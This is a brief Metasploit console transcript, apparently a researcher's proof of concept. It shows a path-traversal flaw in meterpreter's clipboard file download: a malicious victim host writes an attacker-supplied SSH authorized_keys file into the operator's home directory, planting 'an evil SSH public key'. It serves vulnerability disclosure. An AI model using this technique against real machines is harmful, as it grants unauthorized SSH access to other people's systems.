meterpreter > clipboard_get_data -d /home/justin/looted_clipboard
Files captured at 2017-01-03 12:41:08.0991
==========================================
Remote Path : C:\doot\doot\..
File size   : 1354752 bytes
mirroring   : C:\doot\doot\..\.ssh -> /home/justin/looted_clipboard/../.ssh
downloading : C:\doot\doot\..\.ssh\authorized_keys -> /home/justin/looted_clipboard/../.ssh/authorized_keys
download    : C:\doot\doot\..\.ssh\authorized_keys -> /home/justin/looted_clipboard/../.ssh/authorized_keys
mirrored    : C:\doot\doot\..\.ssh -> /home/justin/looted_clipboard/../.ssh
mirroring   : C:\doot\doot\..\doot -> /home/justin/looted_clipboard/../doot
mirrored    : C:\doot\doot\..\doot -> /home/justin/looted_clipboard/../doot

==========================================

authorized_keys now contains an evil SSH public key:

meterpreter > ^Z
Background session 1? [y/N]

msf exploit(handler) > cat /home/justin/.ssh/authorized_keys
[*] exec: cat /home/justin/.ssh/authorized_keys

An evil SSH public key

Justin Steven

https://twitter.com/justinsteven

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